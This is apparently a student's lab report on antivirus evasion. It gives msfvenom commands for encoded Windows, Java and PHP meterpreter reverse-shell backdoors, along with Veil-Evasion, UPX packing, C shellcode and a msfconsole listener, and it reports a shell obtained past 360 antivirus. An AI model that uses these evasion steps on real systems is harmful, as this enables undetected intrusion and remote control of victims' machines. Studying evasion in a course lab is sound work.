Exp3 免杀原理-20201324

发布时间 2023-03-29 14:09:21作者: 20201324徐源


kali的ip地址

windows的ip地址

VirusTotal对实验二中生成的后门程序进行扫描

由此可见不加处理的后门程序很容易被大部分杀软检测出来,因此我们尝试对其进行一次到多次编码,并进行检测。

1 正确使用msf编码器,msfvenom生成如jar之类的其他文件

1.1 正确使用msf编码器,生成exe文件

利用msfvenom生成木马程序,并在目标机上执行、在本地监听。

一次编码

使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’x00’不出现在shellcode中,因为shellcode以’x00’为结束符。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b '\x00' LHOST=192.168.137.142 LPORT=1324 -f exe > 20201324backdoor.exe


多次编码

设置不同的编码次数进行多次迭代(即生成最终有效负载之前必须执行多少次编码传递,这样做可以隐身或防病毒规避),通过检出率观察免杀效果是否有变化。

使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -15 -b ‘\x00’ LHOST=192.168.137.142 LPORT=1324 -f exe > 20201324backdoor15.exe

此处我编码十五次

1.2 msfvenom生成jar文件

攻击载荷(payload)是一段代码,通过漏洞利用把这段代码传递到目标系统或应用程序以执行我们想要的操作。
payload的命名为三段式标准,“操作系统/运行方式+控制方式+模块具体名称”共同组合而成。如“windows/meterpreter/reverse_tcp”,windows为操作系统,meterpreter为控制方式,reverse_tcp为模块具体名称。
接下来我们将尝试选择不同运行方式下的payload,通过检出率观察免杀效果是否有变化。

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.137.142 LPORT=1324 x> 20201324backdoor_java.jar

1.3 msfvenom生成php文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.137.142 LPORT=1324 x> 20201324backdoor_php.php

实验说明多次编码的免杀效果微乎其微,而不同的payload对免杀效果的影响较大

2 使用veil-evasion生成后门程序及检测

Veil中有两个功能模块,Evasion和Ordnance:Evasion用做文件免杀,Ordnance可生成在Veil-Evasion中使用的shellcode。本次实验使用的是Evasion模块。
Veil-Evasion是一个用python写的免杀框架,可以将任意脚本或一段shellcode转换成Windows可执行文件(用其他语言如c、c#、phython、ruby、go、powershell等重写了meterperter,然后再通过不同方式编译成exe),还能利用Metasploit框架生成相兼容的Payload工具,从而逃避了常见防病毒产品的检测。

2.1 安装veil-evasion

sudo apt-get update
sudo apt-get install veil-evasion

原安装配置文件setup.sh是从github上下载文件,但是国内访问github的速度比较慢,更改setup.sh第260行的克隆地址为
sudo git clone https://gitee.com/spears/VeilDependencies.git

cd /usr/share/veil/config
vim setup.sh

2.2 免杀加壳尝试

加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。

d /var/lib/veil/output/compiled
upx 1324veil.exe -o 1324veil_upx.exe

3 使用C + shellcode编程

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.142 LPORT=1324 -f c
vim shellcode_c.c

在msfvenom下,选择windows/meterpreter/reverse_tcp作为payload,得到一个shellcode。

用下面的程序对Shellcode做处理,生成最终的Shellcode

4 通过组合应用各种技术实现恶意代码免杀

查看list后,选择第32种,python+shellcod+des

5 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功

msfconsole
use exploit/multi/handler		
set payload windows/meterpreter/reverse_tcp	
set LHOST 192.168.137.142		
set LPORT 1324
exploit

按实验2的流程连接主机,发送2.2中生成的带壳程序

成功回连,获取到Windows的shell

杀毒软件为360安全卫士,版本为12.0.0.2004,经检验,生成的后门程序不会被杀毒软件查杀

6 基础问题回答

6.1 杀软是如何检测出恶意代码的?

通常有4种方式:基于特征码的检测、启发式恶意软件检测、基于行为的恶意软件检测和基于签名的检测

  • 基于特征码的检测:在这里恶意软件的检测并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
  • 启发式恶意软件检测:根据些片面特征去推断,通常是因为缺乏精确判定依据。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等都会成为依据。
  • 基于行为的恶意软件检测:实时监控软件行为,一旦监测到即查杀
  • 基于签名的检测技术:主要基于模式匹配的思想,为每种已知恶意代码产生一个唯一的签名特征标记来创建恶意代码库。这些签名包括很多不同的属性,如文件名、内容字符串或字节等,并且也从排除这些恶意代码所产生安全漏洞的角度来探讨保护系统安全。将未知代码的签名特征与恶意代码库进行对比,搜索恶意代码库查找时候存在相匹配的恶意代码签名,若有吻合,则判定为恶意代码;反之则判断为正常代码。这些签名由专家手工找出或通过自动方法生成,一个签名提取出来以标志一个特定恶意代码的特征性质。

6.2 免杀是做什么?

免杀技术全称为反杀毒技术Anti Anti- Virus,简写为Virus AV。对恶意软件做处理使其不被杀毒软件所检测,是一种能使病毒木马避免被杀毒软件查杀的技术。

6.3 免杀的基本方法有哪些?

改变特征码

  • 有exe文件
    • 加壳:压缩壳 加密壳
  • 有shellcode(比如Meterpreter)
    • 用encode进行编码
    • 基于payload重新编译生成可执行文件
  • 有源代码
    • 用其他语言进行重写再编译(veil-evasion)

改变行为

  • 通讯方式
    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
  • 操作模式
    • 基于内存操作
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码

加冷门壳

加花指令

改程序入口点

6.4 开启杀软能绝对防止电脑中恶意代码吗?

不能绝对防止。不同的杀软效果不同,一些质量不高的杀软无法防止复杂的恶意代码,如果杀软的病毒库中没有通用工具特征片段、没有检测该恶意代码的有效手段则无法检测到该恶意代码。此外,恶意代码可能在被杀软清除之前就已经生效

7 实践总结与体会

本次实验总体来说比较顺利,学习了一些基础的免杀手段。比如使用msf编码器生成jar文件、php文件,使用加壳工具产生后门软件、使用C + shellcode编程,以及最后将多种技术组合在一起实现免杀。实验一开始,直接生成的后门程序一出现就会被杀毒软件清理,随着一步步深入,最后生成的后门软件已经完全不会被virustotal检测出威胁,感觉很奇妙。希望今后继续深入学习。